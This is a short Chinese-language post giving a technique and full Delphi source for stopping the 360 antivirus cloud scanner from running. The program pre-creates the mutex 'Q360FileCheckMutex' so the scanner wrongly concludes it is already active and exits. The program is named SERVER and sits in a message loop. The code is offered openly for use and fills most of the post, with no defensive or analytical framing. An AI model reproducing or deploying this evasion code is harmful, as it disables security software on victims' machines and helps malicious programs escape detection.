一行关键代码阻止360云查杀
云查杀程序运行之前，会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行，所以我们可以抢先建一个这样的互斥对象，使得它误以为已经运行了，从而达到阻止运行的目的，关键代码：CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码：
program SERVER;
uses
Windows;
type
TWin = record
Msg: TMsg;
wClass: TWndClass;
hMain: integer;
end;
var Win: TWin;
begin
CreateMutex(nil, TRUE, 'Q360FileCheckMutex');
while (GetMessage(win.Msg, win.hmain, 0, 0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end
end.